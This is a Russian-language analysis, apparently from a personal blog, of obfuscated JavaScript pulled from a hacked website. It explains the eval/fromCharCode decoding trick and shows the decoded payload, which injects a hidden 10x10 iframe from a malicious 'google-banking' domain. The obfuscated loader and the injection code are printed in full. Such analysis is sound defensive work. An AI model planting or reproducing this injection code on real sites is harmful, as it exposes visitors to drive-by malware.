Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе 🙂 ):
var s = ''; try { new asd[0] } catch (q) { if (q) r = 1; c = String; } if (r && document.createTextNode) t = 2; e = eval; m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t]; // здесь очень длинная строка mm = c['fro'+'mCharCode']; for (i = 0; i != m.length; i++) s += mm( e( "m" + "[" + "i" + ']' ) ); try { document.appendChild( null ) } catch (q) { e( s ); }
На первый взгляд все крайне запутано и сложно, java-скрипты я пишу/читаю редко, поэтому сразу слегка даже растерялся. В причесанном коде выделил понятные места и довел все до понимания.
mm = c['fro'+'mCharCode'];
c – обозначает строку (String), т.е. переменной mm будет присвоена строка fromCharCode и mm будет выполнять роль этой функции.
mm( e( "m" + "[" + "i" + ']') ); // равносильно String.fromCharCode( eval( "m[i]" ) );
это значит, что все арифметические выражения в массиве m будут подсчитаны, затем коды переведены в символы функцией fromCharCode и посимвольно в цикле внесены в строку s.
Результирующий код для расшифровки:
var s=''; c = String; e = eval; t = 2; m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t]; mm = c['fro'+'mCharCode']; for (i = 0; i != m.length; i++) { s += mm( e( "m" + "[" + "i" + ']') ); //s += String.fromCharCode( eval( "m[i]") ); // то же самое } // alert( s ); document.write( "<textarea>" ); document.write( s ); document.write( "</textarea>" );
N.B.
Перед тем, как использовать тег textarea, я проверил содержимое кода функцией alert, т.к. иногда хитрые скриптописатели ставят закрывающий тег </textarea> и код не выводится.
Скрипт вставлял iframe с сайта
google-banking . com/main.php?page=f8a892dc63e25f27
Полный расшифрованный код:
if (document.getElementsByTagName( 'body' )[0]) { iframer(); } else { document.write("<iframe src='http ://google-banking...' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement( 'iframe' ); f.setAttribute( 'src', 'http ://google-banking...' ); f.style.visibility = 'hidden'; f.style.position = 'absolute'; f.style.left = '0'; f.style.top = '0'; f.setAttribute( 'width', '10' ); f.setAttribute( 'height', '10' ); document.getElementsByTagName( 'body' )[0].appendChild( f ); }